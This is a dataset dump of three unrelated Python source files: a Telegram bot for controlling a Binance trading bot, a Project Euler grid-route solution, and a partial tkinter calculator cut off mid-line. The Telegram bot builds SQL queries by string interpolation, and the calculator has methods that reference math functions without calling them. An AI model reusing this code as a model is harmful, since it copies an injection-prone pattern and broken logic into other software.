update.message.reply_text(\r\n m, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"▶ Start trade bot\":\r\n update.message.reply_text(\r\n self.__btn_start_bot(),\r\n reply_markup=reply_markup_config,\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n\r\n elif update.message.text == \"⏹ Stop trade bot\":\r\n update.message.reply_text(\r\n self.__btn_stop_bot(), reply_markup=reply_markup_config\r\n )\r\n\r\n elif update.message.text == \"📜 Read last log lines\":\r\n update.message.reply_text(\r\n self.__btn_read_log(),\r\n reply_markup=reply_markup_config,\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n\r\n elif update.message.text == \"❌ Delete database\":\r\n re = self.__btn_delete_db()\r\n if re[1]:\r\n kb = [[\"⚠ Confirm\", \"Go back\"]]\r\n update.message.reply_text(\r\n re[0],\r\n reply_markup=ReplyKeyboardMarkup(kb, resize_keyboard=True),\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n return DELETE_DB\r\n else:\r\n update.message.reply_text(\r\n re[0], reply_markup=reply_markup_config, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"⚙ Edit user.cfg\":\r\n re = self.__btn_edit_user_cfg()\r\n if re[1]:\r\n update.message.reply_text(\r\n re[0], reply_markup=ReplyKeyboardRemove(), parse_mode=\"MarkdownV2\"\r\n )\r\n return EDIT_USER_CONFIG\r\n else:\r\n update.message.reply_text(\r\n re[0], reply_markup=reply_markup_config, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"👛 Edit coin list\":\r\n re = self.__btn_edit_coin()\r\n if re[1]:\r\n update.message.reply_text(\r\n re[0], reply_markup=ReplyKeyboardRemove(), parse_mode=\"MarkdownV2\"\r\n )\r\n return EDIT_COIN_LIST\r\n else:\r\n update.message.reply_text(\r\n re[0], reply_markup=reply_markup_config, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n elif update.message.text == \"📤 Export database\":\r\n re = self.__btn_export_db()\r\n update.message.reply_text(\r\n re[0], reply_markup=reply_markup_config, parse_mode=\"MarkdownV2\"\r\n )\r\n if re[1] is not None:\r\n self.bot.send_document(\r\n chat_id=update.message.chat_id,\r\n document=re[1],\r\n filename=\"crypto_trading.db\",\r\n )\r\n\r\n elif update.message.text == \"Update Telegram Bot\":\r\n re = self.__btn_update_tg_bot()\r\n if re[1]:\r\n kb = [[\"Update\", \"Cancel update\"]]\r\n update.message.reply_text(\r\n re[0],\r\n reply_markup=ReplyKeyboardMarkup(kb, resize_keyboard=True),\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n return UPDATE_TG\r\n else:\r\n update.message.reply_text(\r\n re[0],\r\n reply_markup=reply_markup_maintenance,\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n\r\n elif update.message.text == \"Update Binance Trade Bot\":\r\n re = self.__btn_update_btb()\r\n if re[1]:\r\n kb = [[\"Update\", \"Cancel update\"]]\r\n update.message.reply_text(\r\n re[0],\r\n reply_markup=ReplyKeyboardMarkup(kb, resize_keyboard=True),\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n return UPDATE_BTB\r\n else:\r\n update.message.reply_text(\r\n re[0],\r\n reply_markup=reply_markup_maintenance,\r\n parse_mode=\"MarkdownV2\",\r\n )\r\n\r\n return MENU\r\n\r\n def __edit_user_config(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(f\"Editing user configuration. ({update.message.text})\")\r\n\r\n if update.message.text != \"/stop\":\r\n message = f\"✔ Successfully edited user configuration file to:\\n\\n```\\n{update.message.text}\\n```\".replace(\r\n \".\", \"\\.\"\r\n )\r\n user_cfg_file_path = f\"{self.root_path}user.cfg\"\r\n try:\r\n copyfile(user_cfg_file_path, f\"{user_cfg_file_path}.backup\")\r\n with open(user_cfg_file_path, \"w\") as f:\r\n f.write(update.message.text + \"\\n\\n\\n\")\r\n except:\r\n message = \"❌ Unable to edit user configuration file\\.\"\r\n else:\r\n message = (\r\n \"👌 Exited without changes\\.\\nYour `user.cfg` file was *not* modified\\.\"\r\n )\r\n\r\n keyboard = [[\"Go back\"]]\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n return MENU\r\n\r\n def __edit_coin(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(f\"Editing coin list. ({update.message.text})\")\r\n\r\n if update.message.text != \"/stop\":\r\n message = f\"✔ Successfully edited coin list file to:\\n\\n```\\n{update.message.text}\\n```\".replace(\r\n \".\", \"\\.\"\r\n )\r\n coin_file_path = f\"{self.root_path}supported_coin_list\"\r\n try:\r\n copyfile(coin_file_path, f\"{coin_file_path}.backup\")\r\n with open(coin_file_path, \"w\") as f:\r\n f.write(update.message.text + \"\\n\")\r\n except:\r\n message = \"❌ Unable to edit coin list file\\.\"\r\n else:\r\n message = \"👌 Exited without changes\\.\\nYour `supported_coin_list` file was *not* modified\\.\"\r\n\r\n keyboard = [[\"Go back\"]]\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n return MENU\r\n\r\n def __delete_db(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(\r\n f\"Asking if the user really wants to delete the db. ({update.message.text})\"\r\n )\r\n\r\n if update.message.text != \"Go back\":\r\n message = \"✔ Successfully deleted database file\\.\"\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n try:\r\n copyfile(db_file_path, f\"{db_file_path}.backup\")\r\n os.remove(db_file_path)\r\n except:\r\n message = \"❌ Unable to delete database file\\.\"\r\n else:\r\n message = \"👌 Exited without changes\\.\\nYour database was *not* deleted\\.\"\r\n\r\n keyboard = [[\"OK\"]]\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n return MENU\r\n\r\n def __update_tg_bot(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(f\"Updating BTB Manager Telegram. ({update.message.text})\")\r\n\r\n if update.message.text != \"Cancel update\":\r\n message = \"The bot is updating\\.\\nWait a few seconds then start the bot again with /start\"\r\n keyboard = [[\"/start\"]]\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n try:\r\n subprocess.call(\r\n \"kill -9 $(ps ax | grep BTBManagerTelegram | fgrep -v grep | awk '{ print $1 }') && git pull && $(which python3) -m pip install -r requirements.txt && $(which python3) BTBManagerTelegram.py &\",\r\n shell=True,\r\n )\r\n except:\r\n message = \"Unable to update BTB Manager Telegram\"\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n else:\r\n message = (\r\n \"👌 Exited without changes\\.\\nBTB Manager Telegram was *not* updated\\.\"\r\n )\r\n keyboard = [[\"OK 👌\"]]\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n return MENU\r\n\r\n def __update_btb(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(f\"Updating Binance Trade Bot. ({update.message.text})\")\r\n\r\n keyboard = [[\"OK 👌\"]]\r\n reply_markup = ReplyKeyboardMarkup(keyboard, resize_keyboard=True)\r\n\r\n if update.message.text != \"Cancel update\":\r\n message = \"The bot is updating\\.\\nWait a few seconds, the bot will restart automatically\\.\"\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n try:\r\n self.__find_and_kill_process()\r\n subprocess.call(\r\n f\"cd {self.root_path} && git pull && $(which python3) -m pip install -r requirements.txt && $(which python3) -m binance_trade_bot &\",\r\n shell=True,\r\n )\r\n except:\r\n message = \"Unable to update Binance Trade Bot\"\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n else:\r\n message = (\r\n \"👌 Exited without changes\\.\\nBinance Trade Bot was *not* updated\\.\"\r\n )\r\n update.message.reply_text(\r\n message, reply_markup=reply_markup, parse_mode=\"MarkdownV2\"\r\n )\r\n\r\n return MENU\r\n\r\n @staticmethod\r\n def __find_process():\r\n for p in psutil.process_iter():\r\n if \"binance_trade_bot\" in p.name() or \"binance_trade_bot\" in \" \".join(\r\n p.cmdline()\r\n ):\r\n return True\r\n return False\r\n\r\n def __find_and_kill_process(self):\r\n try:\r\n for p in psutil.process_iter():\r\n if \"binance_trade_bot\" in p.name() or \"binance_trade_bot\" in \" \".join(\r\n p.cmdline()\r\n ):\r\n p.terminate()\r\n p.wait()\r\n except Exception as e:\r\n self.logger.info(f\"ERROR: {e}\")\r\n\r\n @staticmethod\r\n def __4096_cutter(m_list):\r\n message = [\"\"]\r\n index = 0\r\n for m in m_list:\r\n if len(message[index]) + len(m) <= 4096:\r\n message[index] += m\r\n else:\r\n message.append(m)\r\n index += 1\r\n return message\r\n\r\n # BUTTONS\r\n def __btn_current_value(self):\r\n self.logger.info(\"Current value button pressed.\")\r\n\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n message = [f\"⚠ Unable to find database file at `{db_file_path}`\\.\"]\r\n if os.path.exists(db_file_path):\r\n try:\r\n con = sqlite3.connect(db_file_path)\r\n cur = con.cursor()\r\n\r\n # Get current coin symbol, bridge symbol, order state, order size, initial buying price\r\n try:\r\n cur.execute(\r\n \"\"\"SELECT alt_coin_id, crypto_coin_id, state, crypto_starting_balance, crypto_trade_amount FROM trade_history ORDER BY datetime DESC LIMIT 1;\"\"\"\r\n )\r\n current_coin, bridge, state, order_size, buy_price = cur.fetchone()\r\n if current_coin is None:\r\n raise Exception()\r\n if state == \"ORDERED\":\r\n return [\r\n f\"A buy order of `{round(order_size, 2)}` *{bridge}* is currently placed on coin *{current_coin}*.\\n\\n_Waiting for buy order to complete_.\".replace(\r\n \".\", \"\\.\"\r\n )\r\n ]\r\n except:\r\n con.close()\r\n return [f\"❌ Unable to fetch current coin from database\\.\"]\r\n\r\n # Get balance, current coin price in USD, current coin price in BTC\r\n try:\r\n cur.execute(\r\n f\"\"\"SELECT balance, usd_price, btc_price, datetime FROM 'coin_value' WHERE coin_id = '{current_coin}' ORDER BY datetime DESC LIMIT 1;\"\"\"\r\n )\r\n query = cur.fetchone()\r\n if query is None:\r\n return [\r\n f\"❌ No information about *{current_coin}* available in the database\\.\",\r\n f\"⚠ If you tried using the `Current value` button during a trade please try again after the trade has been completed\\.\",\r\n ]\r\n balance, usd_price, btc_price, last_update = query\r\n if balance is None:\r\n balance = 0\r\n if usd_price is None:\r\n usd_price = 0\r\n if btc_price is None:\r\n btc_price = 0\r\n last_update = datetime.strptime(last_update, \"%Y-%m-%d %H:%M:%S.%f\")\r\n except:\r\n con.close()\r\n return [\r\n f\"❌ Unable to fetch current coin information from database\\.\",\r\n f\"⚠ If you tried using the `Current value` button during a trade please try again after the trade has been completed\\.\",\r\n ]\r\n\r\n # Generate message\r\n try:\r\n m_list = [\r\n f'\\nLast update: `{last_update.strftime(\"%H:%M:%S %d/%m/%Y\")}`\\n\\n*Current coin {current_coin}:*\\n\\t\\- Balance: `{round(balance, 6)}` *{current_coin}*\\n\\t\\- Value in *USD*: `{round((balance * usd_price), 2)}` *USD*\\n\\t\\- Value in *BTC*: `{round((balance * btc_price), 6)}` *BTC*\\n\\n\\t_Initially bought for_ {round(buy_price, 2)} *{bridge}*\\n'.replace(\r\n \".\", \"\\.\"\r\n )\r\n ]\r\n message = self.__4096_cutter(m_list)\r\n con.close()\r\n except:\r\n con.close()\r\n return [\r\n f\"❌ Something went wrong, unable to generate value at this time\\.\"\r\n ]\r\n except:\r\n message = [\"❌ Unable to perform actions on the database\\.\"]\r\n return message\r\n\r\n def __btn_check_progress(self):\r\n self.logger.info(\"Progress button pressed.\")\r\n\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n user_cfg_file_path = f\"{self.root_path}user.cfg\"\r\n message = [f\"⚠ Unable to find database file at `{db_file_path}`\\.\"]\r\n if os.path.exists(db_file_path):\r\n try:\r\n con = sqlite3.connect(db_file_path)\r\n cur = con.cursor()\r\n\r\n # Get progress information\r\n try:\r\n cur.execute(\r\n \"\"\"SELECT th1.alt_coin_id AS coin, th1.alt_trade_amount AS amount, th1.crypto_trade_amount AS priceInUSD,(th1.alt_trade_amount - ( SELECT th2.alt_trade_amount FROM trade_history th2 WHERE th2.alt_coin_id = th1.alt_coin_id AND th1.datetime > th2.datetime AND th2.selling = 0 ORDER BY th2.datetime DESC LIMIT 1)) AS change, datetime FROM trade_history th1 WHERE th1.state = 'COMPLETE' AND th1.selling = 0 ORDER BY th1.datetime DESC LIMIT 15\"\"\"\r\n )\r\n query = cur.fetchall()\r\n\r\n # Generate message\r\n m_list = [f\"Current coin amount progress:\\n\\n\"]\r\n for coin in query:\r\n last_trade_date = datetime.strptime(\r\n coin[4], \"%Y-%m-%d %H:%M:%S.%f\"\r\n ).strftime(\"%H:%M:%S %d/%m/%Y\")\r\n m_list.append(\r\n f'*{coin[0]}*\\n\\t\\- Amount: `{round(coin[1], 6)}` *{coin[0]}*\\n\\t\\- Price: `{round(coin[2], 2)}` *USD*\\n\\t\\- Change: {f\"`{round(coin[3], 2)}` *{coin[0]}*\" if coin[3] is not None else f\"`{coin[3]}`\"}\\n\\t\\- Last trade: `{last_trade_date}`\\n\\n'.replace(\r\n \".\", \"\\.\"\r\n )\r\n )\r\n\r\n message = self.__4096_cutter(m_list)\r\n con.close()\r\n except:\r\n con.close()\r\n return [f\"❌ Unable to fetch progress information from database\\.\"]\r\n except:\r\n message = [\"❌ Unable to perform actions on the database\\.\"]\r\n return message\r\n\r\n def __btn_current_ratios(self):\r\n self.logger.info(\"Current ratios button pressed.\")\r\n\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n user_cfg_file_path = f\"{self.root_path}user.cfg\"\r\n message = [f\"⚠ Unable to find database file at `{db_file_path}`\\.\"]\r\n if os.path.exists(db_file_path):\r\n try:\r\n # Get bridge currency symbol\r\n with open(user_cfg_file_path) as cfg:\r\n config = ConfigParser()\r\n config.read_file(cfg)\r\n bridge = config.get(\"binance_user_config\", \"bridge\")\r\n\r\n con = sqlite3.connect(db_file_path)\r\n cur = con.cursor()\r\n\r\n # Get current coin symbol\r\n try:\r\n cur.execute(\r\n \"\"\"SELECT alt_coin_id FROM trade_history ORDER BY datetime DESC LIMIT 1;\"\"\"\r\n )\r\n current_coin = cur.fetchone()[0]\r\n if current_coin is None:\r\n raise Exception()\r\n except:\r\n con.close()\r\n return [f\"❌ Unable to fetch current coin from database\\.\"]\r\n\r\n # Get prices and ratios of all alt coins\r\n try:\r\n cur.execute(\r\n f\"\"\"SELECT sh.datetime, p.to_coin_id, sh.other_coin_price, ( ( ( current_coin_price / other_coin_price ) - 0.001 * 5 * ( current_coin_price / other_coin_price ) ) - sh.target_ratio ) AS 'ratio_dict' FROM scout_history sh JOIN pairs p ON p.id = sh.pair_id WHERE p.from_coin_id='{current_coin}' AND p.from_coin_id = ( SELECT alt_coin_id FROM trade_history ORDER BY datetime DESC LIMIT 1) ORDER BY sh.datetime DESC LIMIT ( SELECT count(DISTINCT pairs.to_coin_id) FROM pairs WHERE pairs.from_coin_id='{current_coin}');\"\"\"\r\n )\r\n query = cur.fetchall()\r\n\r\n # Generate message\r\n last_update = datetime.strptime(query[0][0], \"%Y-%m-%d %H:%M:%S.%f\")\r\n query = sorted(query, key=lambda k: k[-1], reverse=True)\r\n\r\n m_list = [\r\n f'\\nLast update: `{last_update.strftime(\"%H:%M:%S %d/%m/%Y\")}`\\n\\n*Coin ratios compared to {current_coin}:*\\n'.replace(\r\n \".\", \"\\.\"\r\n )\r\n ]\r\n for coin in query:\r\n m_list.append(\r\n f\"*{coin[1]}*:\\n\\t\\- Price: `{coin[2]}` *{bridge}*\\n\\t\\- Ratio: `{round(coin[3], 6)}`\\n\\n\".replace(\r\n \".\", \"\\.\"\r\n )\r\n )\r\n\r\n message = self.__4096_cutter(m_list)\r\n con.close()\r\n except:\r\n con.close()\r\n return [\r\n f\"❌ Something went wrong, unable to generate ratios at this time\\.\"\r\n ]\r\n except:\r\n message = [\"❌ Unable to perform actions on the database\\.\"]\r\n return message\r\n\r\n def __btn_check_status(self):\r\n self.logger.info(\"Check status button pressed.\")\r\n\r\n message = \"⚠ Binance Trade Bot is not running.\"\r\n if self.__find_process():\r\n message = \"✔ Binance Trade Bot is running.\"\r\n return message\r\n\r\n def __btn_trade_history(self):\r\n self.logger.info(\"Trade history button pressed.\")\r\n\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n message = [f\"⚠ Unable to find database file at `{db_file_path}`\\.\"]\r\n if os.path.exists(db_file_path):\r\n try:\r\n con = sqlite3.connect(db_file_path)\r\n cur = con.cursor()\r\n\r\n # Get last 10 trades\r\n try:\r\n cur.execute(\r\n \"\"\"SELECT alt_coin_id, crypto_coin_id, selling, state, alt_trade_amount, crypto_trade_amount, datetime FROM trade_history ORDER BY datetime DESC LIMIT 10;\"\"\"\r\n )\r\n query = cur.fetchall()\r\n\r\n m_list = [\r\n f\"Last **{10 if len(query) > 10 else len(query)}** trades:\\n\\n\"\r\n ]\r\n for trade in query:\r\n d = datetime.strptime(trade[6], \"%Y-%m-%d %H:%M:%S.%f\")\r\n m = f'`{d.strftime(\"%H:%M:%S %d/%m/%Y\")}`\\n*{\"Sold\" if trade[2] else \"Bought\"}* `{round(trade[4], 6)}` *{trade[0]}*{f\" for `{round(trade[5], 2)}` *{trade[1]}*\" if trade[5] is not None else \"\"}\\nStatus: _*{trade[3]}*_\\n\\n'\r\n m_list.append(m.replace(\".\", \"\\.\"))\r\n\r\n message = self.__4096_cutter(m_list)\r\n con.close()\r\n except:\r\n con.close()\r\n return [\r\n f\"❌ Something went wrong, unable to generate trade history at this time\\.\"\r\n ]\r\n except:\r\n message = [\"❌ Unable to perform actions on the database\\.\"]\r\n return message\r\n\r\n def __btn_start_bot(self):\r\n self.logger.info(\"Start bot button pressed.\")\r\n\r\n message = \"⚠ Binance Trade Bot is already running\\.\"\r\n if not self.__find_process():\r\n if os.path.exists(f\"{self.root_path}binance_trade_bot/\"):\r\n subprocess.call(\r\n f\"cd {self.root_path} && $(which python3) -m binance_trade_bot &\",\r\n shell=True,\r\n )\r\n if not self.__find_process():\r\n message = \"❌ Unable to start Binance Trade Bot\\.\"\r\n else:\r\n message = \"✔ Binance Trade Bot successfully started\\.\"\r\n else:\r\n message = \"❌ Unable to find _Binance Trade Bot_ installation in this directory\\.\\nMake sure the `BTBManagerTelegram.py` file is in the _Binance Trade Bot_ installation folder\\.\"\r\n return message\r\n\r\n def __btn_stop_bot(self):\r\n self.logger.info(\"Stop bot button pressed.\")\r\n\r\n message = \"⚠ Binance Trade Bot is not running.\"\r\n if self.__find_process():\r\n self.__find_and_kill_process()\r\n if not self.__find_process():\r\n message = \"✔ Successfully stopped the bot.\"\r\n else:\r\n message = \"❌ Unable to stop Binance Trade Bot.\\n\\nIf you are running the telegram bot on Windows make sure to run with administrator privileges.\"\r\n return message\r\n\r\n def __btn_read_log(self):\r\n self.logger.info(\"Read log button pressed.\")\r\n\r\n log_file_path = f\"{self.root_path}logs/crypto_trading.log\"\r\n message = f\"❌ Unable to find log file at `{log_file_path}`.\".replace(\".\", \"\\.\")\r\n if os.path.exists(log_file_path):\r\n with open(log_file_path) as f:\r\n file_content = f.read().replace(\".\", \"\\.\")[-4000:]\r\n message = (\r\n f\"Last *4000* characters in log file:\\n\\n```\\n{file_content}\\n```\"\r\n )\r\n return message\r\n\r\n def __btn_delete_db(self):\r\n self.logger.info(\"Delete database button pressed.\")\r\n\r\n message = \"⚠ Please stop Binance Trade Bot before deleting the database file\\.\"\r\n delete = False\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n if not self.__find_process():\r\n if os.path.exists(db_file_path):\r\n message = \"Are you sure you want to delete the database file?\"\r\n delete = True\r\n else:\r\n message = (\r\n f\"⚠ Unable to find database file at `{db_file_path}`.\".replace(\r\n \".\", \"\\.\"\r\n )\r\n )\r\n return [message, delete]\r\n\r\n def __btn_edit_user_cfg(self):\r\n self.logger.info(\"Edit user configuration button pressed.\")\r\n\r\n message = (\r\n \"⚠ Please stop Binance Trade Bot before editing user configuration file\\.\"\r\n )\r\n edit = False\r\n user_cfg_file_path = f\"{self.root_path}user.cfg\"\r\n if not self.__find_process():\r\n if os.path.exists(user_cfg_file_path):\r\n with open(user_cfg_file_path) as f:\r\n message = f\"Current configuration file is:\\n\\n```\\n{f.read()}\\n```\\n\\n_*Please reply with a message containing the updated configuration*_.\\n\\nWrite /stop to stop editing and exit without changes.\".replace(\r\n \".\", \"\\.\"\r\n )\r\n edit = True\r\n else:\r\n message = f\"❌ Unable to find user configuration file at `{user_cfg_file_path}`.\".replace(\r\n \".\", \"\\.\"\r\n )\r\n return [message, edit]\r\n\r\n def __btn_edit_coin(self):\r\n self.logger.info(\"Edit coin list button pressed.\")\r\n\r\n message = \"⚠ Please stop Binance Trade Bot before editing the coin list\\.\"\r\n edit = False\r\n coin_file_path = f\"{self.root_path}supported_coin_list\"\r\n if not self.__find_process():\r\n if os.path.exists(coin_file_path):\r\n with open(coin_file_path) as f:\r\n message = f\"Current coin list is:\\n\\n```\\n{f.read()}\\n```\\n\\n_*Please reply with a message containing the updated coin list*_.\\n\\nWrite /stop to stop editing and exit without changes.\".replace(\r\n \".\", \"\\.\"\r\n )\r\n edit = True\r\n else:\r\n message = (\r\n f\"❌ Unable to find coin list file at `{coin_file_path}`.\".replace(\r\n \".\", \"\\.\"\r\n )\r\n )\r\n return [message, edit]\r\n\r\n def __btn_export_db(self):\r\n self.logger.info(\"Export database button pressed.\")\r\n\r\n message = \"⚠ Please stop Binance Trade Bot before exporting the database file\\.\"\r\n db_file_path = f\"{self.root_path}data/crypto_trading.db\"\r\n fil = None\r\n if not self.__find_process():\r\n if os.path.exists(db_file_path):\r\n with open(db_file_path, \"rb\") as db:\r\n fil = db.read()\r\n message = \"Here is your database file:\"\r\n else:\r\n message = \"❌ Unable to Export the database file\\.\"\r\n return [message, fil]\r\n\r\n def __btn_update_tg_bot(self):\r\n self.logger.info(\"Update Telegram bot button pressed.\")\r\n\r\n message = \"Your BTB Manager Telegram installation is already up to date\\.\"\r\n upd = False\r\n to_update = is_tg_bot_update_available()\r\n if to_update is not None:\r\n if to_update:\r\n message = \"An update for BTB Manager Telegram is available\\.\\nWould you like to update now?\"\r\n upd = True\r\n else:\r\n message = (\r\n \"Error while trying to fetch BTB Manager Telegram version information\\.\"\r\n )\r\n return [message, upd]\r\n\r\n def __btn_update_btb(self):\r\n self.logger.info(\"Update Binance Trade Bot button pressed.\")\r\n\r\n message = \"Your Binance Trade Bot installation is already up to date\\.\"\r\n upd = False\r\n to_update = is_btb_bot_update_available()\r\n if to_update is not None:\r\n if to_update:\r\n upd = True\r\n message = \"An update for Binance Trade Bot is available\\.\\nWould you like to update now?\"\r\n else:\r\n message = (\r\n \"Error while trying to fetch Binance Trade Bot version information\\.\"\r\n )\r\n return [message, upd]\r\n\r\n # STOP CONVERSATION\r\n def __cancel(self, update: Update, _: CallbackContext) -> int:\r\n self.logger.info(\"Conversation canceled.\")\r\n\r\n update.message.reply_text(\r\n \"Bye! I hope we can talk again some day.\",\r\n reply_markup=ReplyKeyboardRemove(),\r\n )\r\n return ConversationHandler.END\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(\r\n description='Thanks for using Binance Trade Bot Manager Telegram. By default the program will use \"../binance-trade-bot/\" as binance-trade-bot installation path.'\r\n )\r\n parser.add_argument(\r\n \"-p\",\r\n \"--path\",\r\n type=str,\r\n help=\"(optional) binance-trade-bot installation absolute path\",\r\n default=\"../binance-trade-bot/\",\r\n )\r\n parser.add_argument(\r\n \"-t\", \"--token\", type=str, help=\"(optional) Telegram bot token\", default=None\r\n )\r\n parser.add_argument(\r\n \"-u\", \"--user_id\", type=str, help=\"(optional) Telegram user id\", default=None\r\n )\r\n args = parser.parse_args()\r\n BTBManagerTelegram(root_path=args.path, token=args.token, user_id=args.user_id)\r\n","sub_path":"BTBManagerTelegram.py","file_name":"BTBManagerTelegram.py","file_ext":"py","file_size_in_byte":41985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"365705710","text":"\"\"\"\r\nStarting in the top left corner of a 2x2 grid, and only\r\nbeing able to move to the right and down, there are\r\nexactly 6 routes to the bottom right corner.\r\n\r\nHow many such routes are there through a 20x20 grid?\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\n\r\ndef main():\r\n size_of_grid = 20\r\n n = 2 * size_of_grid\r\n k = size_of_grid\r\n # This problem is solved by doing a binomial distribution of ( n )\r\n # ( k )\r\n # where n is x + y and k is x\r\n number_of_routes = (np.math.factorial(n)) / \\\r\n ((np.math.factorial(k))*(np.math.factorial(n - k)))\r\n print(number_of_routes)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Problem15.py","file_name":"Problem15.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"501369085","text":"from tkinter import*\nimport math\nimport parser\nimport tkinter.messagebox\n\n# Calculator GUI\nroot = Tk()\nroot.wm_iconbitmap('CalculatorIcon.ico')\nroot.title(\"Calculator\")\nroot.configure(background=\"white\")\nroot.resizable(width=False, height=False)\nroot.geometry(\"311x368+0+0\")\n\ncalculator = Frame(root, bg=\"gainsboro\") \ncalculator.grid()\n\nclass Calculator():\n def __init__(self):\n self.total = 0\n self.current = \"\"\n self.inputValue = True\n self.checkSum = False\n self.op=\"\"\n self.result = False\n\n def enterNumber(self, num):\n self.result = False\n firstNum = displayText.get() # Value of current entry\n secondNum = str(num) # Value of numPad button pressed\n if self.inputValue:\n self.current = secondNum\n self.inputValue = False\n else:\n # If the entered number is a decimal: checks if there is another decimal in the entry (If there is, returns nothing)\n # Otherwise, the entered number is appended to the current entry \n if secondNum == '.':\n if secondNum in firstNum:\n return\n self.current = firstNum + secondNum\n self.display(self.current)\n\n def sumOfTotal(self):\n self.result = True\n self.current = float(self.current)\n if self.checkSum:\n self.validFunction()\n else:\n self.total = float(displayText.get())\n\n def validFunction(self):\n if self.op == \"add\":\n self.total += self.current\n if self.op == \"sub\":\n self.total -= self.current\n if self.op == \"multiply\":\n self.total *= self.current\n if self.op == \"divide\":\n self.total /= self.current\n if self.op == \"mod\":\n self.total %= self.current\n self.inputValue = True\n self.checkSum = False\n self.display(self.total)\n\n def operation(self, op):\n self.current = float(self.current)\n if self.checkSum:\n self.validFunction()\n elif not self.result:\n self.total = self.current\n self.inputValue = True\n self.checkSum = True\n self.op = op\n self.result = False\n\n def clearEntry(self):\n self.result = False\n self.current = \"0\"\n self.display(0)\n self.inputValue = True\n\n def clearAllEntry(self):\n self.clearEntry\n self.total = 0\n\n def plusMinus(self):\n self.result = False\n self.current = -(float(displayText.get()))\n self.display(self.current)\n\n def squared(self):\n self.result = False\n self.current = math.sqrt(float(displayText.get()))\n self.display(self.current)\n\n def cos(self):\n self.result = False\n self.current = math.cos(math.radians(float(displayText.get())))\n self.display(self.current)\n\n def cosh(self):\n self.result = False\n self.current = math.cosh(math.radians(float(displayText.get())))\n self.display(self.current)\n\n def tan(self):\n self.result = False\n self.current = math.tan(math.radians(float(displayText.get())))\n self.display(self.current)\n\n def tanh(self):\n self.result = False\n self.current = math.tanh(math.radians(float(displayText.get())))\n self.display(self.current)\n\n def sin(self):\n self.result = False\n self.current = math.sin(math.radians(float(displayText.get())))\n self.display(self.current)\n\n def sinh(self):\n self.result = False\n self.current = math.sinh(math.radians(float(displayText.get())))\n self.display(self.current)\n\n def log(self):\n self.result = False\n self.current = math.log\n self.display(self.current)\n\n def exp(self):\n self.result = False\n self.current = math.exp\n self.display(self.current)\n\n def pi(self):\n self.result = False\n self.current = math.pi\n self.display(self.current)\n\n def tau(self):\n self.result = False\n self.current = math.tau\n self.display(self.current)\n\n def e(self):\n self.result = False\n self.current = math.e\n self.display(self.current)\n\n\n \n\n\n def acosh(self):\n self.result = False\n self.current = math.acosh(float(displayText.get()))\n self.display(self.current)\n\n def asinh(self):\n self.result = False\n self.current = math.asinh(float(displayText.get()))\n self.display(self.current)\n\n def expm1(self):\n self.result = False\n self.current = math.expm1(float(displayText.get()))\n self.display(self.current)\n\n def lgamma(self):\n self.result = False\n self.current = math.lgamma(float(displayText.get()))\n self.display(self.current)\n\n def degrees(self):\n self.result = False\n self.current = math.degrees(float(displayText.get()))\n self.display(self.current)\n\n def log2(self):\n self.result = False\n self.current = math.log2(float(displayText.get()))\n self.display(self.current)\n\n def log10(self):\n self.result = False\n self.current = math.log10(float(displayText.get()))\n self.display(self.current)\n\n def log1p(self):\n self.result = False\n self.current = math.log1p(float(displayText.get()))\n self.display(self.current)\n \n \n\n # for clearAllButton in ([\"CE\"], [\"C\"]):\n # erase = calculator(self, TOP)\n # for char in clearAllButton:\n # button(erase, LEFT, char, lambda store)\n\n\n def display(self, value):\n # Clears previous entry text and displays entry text with number entered\n displayText.delete(0, END)\n displayText.insert(0, value)\n\naddedValue = Calculator()\n\n# Display\ndisplayText = Entry(calculator, font=('Arial', 